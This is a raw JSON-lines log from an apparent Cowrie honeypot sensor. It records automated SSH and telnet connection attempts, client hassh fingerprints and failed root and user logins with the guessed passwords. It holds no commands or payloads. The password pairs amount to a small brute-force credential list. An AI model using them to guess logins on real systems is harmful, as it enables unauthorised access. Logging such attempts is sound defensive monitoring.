{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:16.809720Z","src_ip":"103.75.183.219","session":"089a8086f202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:17.058357Z","src_ip":"103.75.183.219","session":"089a8086f202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19911991","message":"login attempt [root/19911991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:17.806463Z","src_ip":"103.75.183.219","session":"089a8086f202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:19.064608Z","src_ip":"103.75.183.219","session":"089a8086f202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53652,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b4a79502c3","protocol":"ssh","message":"New connection: 80.94.92.186:53652 (159.203.135.109:22) [session: f7b4a79502c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:20.749954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:21.074395Z","src_ip":"80.94.92.186","session":"f7b4a79502c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:21.078336Z","src_ip":"80.94.92.186","session":"f7b4a79502c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:22.247354Z","src_ip":"80.94.92.186","session":"f7b4a79502c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:23.414753Z","src_ip":"80.94.92.186","session":"f7b4a79502c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":59642,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b4c8cebb53","protocol":"ssh","message":"New connection: 115.91.48.142:59642 (10.17.0.5:22) [session: 68b4c8cebb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:31.922538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:31.927027Z","src_ip":"115.91.48.142","session":"68b4c8cebb53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:32.125822Z","src_ip":"115.91.48.142","session":"68b4c8cebb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd123","message":"login attempt [root/passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:32.952758Z","src_ip":"115.91.48.142","session":"68b4c8cebb53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36368,"dst_ip":"159.203.135.109","dst_port":22,"session":"3309721b7c42","protocol":"ssh","message":"New connection: 103.195.236.96:36368 (159.203.135.109:22) [session: 3309721b7c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:32.990121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:32.995035Z","src_ip":"103.195.236.96","session":"3309721b7c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:33.318571Z","src_ip":"103.195.236.96","session":"3309721b7c42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"overlord","message":"login attempt [root/overlord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:34.116666Z","src_ip":"103.195.236.96","session":"3309721b7c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:34.155474Z","src_ip":"115.91.48.142","session":"68b4c8cebb53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:35.362098Z","src_ip":"103.195.236.96","session":"3309721b7c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34292,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f10cf32bcfb","protocol":"ssh","message":"New connection: 103.27.238.120:34292 (10.17.0.5:22) [session: 7f10cf32bcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:36.338255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:36.342042Z","src_ip":"103.27.238.120","session":"7f10cf32bcfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:36.614084Z","src_ip":"103.27.238.120","session":"7f10cf32bcfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777q","message":"login attempt [root/7777777q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:37.428642Z","src_ip":"103.27.238.120","session":"7f10cf32bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:38.705998Z","src_ip":"103.27.238.120","session":"7f10cf32bcfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37376,"dst_ip":"10.17.0.5","dst_port":22,"session":"188bf40acf0b","protocol":"ssh","message":"New connection: 176.65.148.108:37376 (10.17.0.5:22) [session: 188bf40acf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:39.369229Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:39.452140Z","src_ip":"176.65.148.108","session":"188bf40acf0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":37382,"dst_ip":"10.17.0.5","dst_port":22,"session":"90cfcb637952","protocol":"ssh","message":"New connection: 176.65.148.108:37382 (10.17.0.5:22) [session: 90cfcb637952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:39.530962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:39.535406Z","src_ip":"176.65.148.108","session":"90cfcb637952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:39.617386Z","src_ip":"176.65.148.108","session":"90cfcb637952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"A","password":"123456","message":"login attempt [A/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:39.864713Z","src_ip":"176.65.148.108","session":"90cfcb637952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:40.950252Z","src_ip":"176.65.148.108","session":"90cfcb637952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":50034,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d84022035aa","protocol":"ssh","message":"New connection: 15.204.225.76:50034 (10.17.0.5:22) [session: 3d84022035aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:49.254090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:49.258752Z","src_ip":"15.204.225.76","session":"3d84022035aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:49.272713Z","src_ip":"15.204.225.76","session":"3d84022035aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd123","message":"login attempt [root/passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:49.348417Z","src_ip":"15.204.225.76","session":"3d84022035aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":45776,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef6917d119ce","protocol":"telnet","message":"New connection: 172.104.93.159:45776 (10.17.0.5:23) [session: ef6917d119ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:49.580438Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:50.362021Z","src_ip":"15.204.225.76","session":"3d84022035aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.168468475341797,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:59.748776Z","src_ip":"172.104.93.159","session":"ef6917d119ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":54696,"dst_ip":"10.17.0.5","dst_port":22,"session":"147dbf5bd44b","protocol":"ssh","message":"New connection: 40.117.97.0:54696 (10.17.0.5:22) [session: 147dbf5bd44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:03.362606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:03.396501Z","src_ip":"40.117.97.0","session":"147dbf5bd44b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:03.412600Z","src_ip":"40.117.97.0","session":"147dbf5bd44b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.456","message":"login attempt [root/123.456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:04.287888Z","src_ip":"40.117.97.0","session":"147dbf5bd44b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:05.315563Z","src_ip":"40.117.97.0","session":"147dbf5bd44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.59.100.233","src_port":43768,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2943c75717","protocol":"telnet","message":"New connection: 167.59.100.233:43768 (159.203.135.109:23) [session: 8f2943c75717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:17.855584Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":56682,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4328a261b25","protocol":"ssh","message":"New connection: 43.173.90.78:56682 (159.203.135.109:22) [session: f4328a261b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.002025Z"}
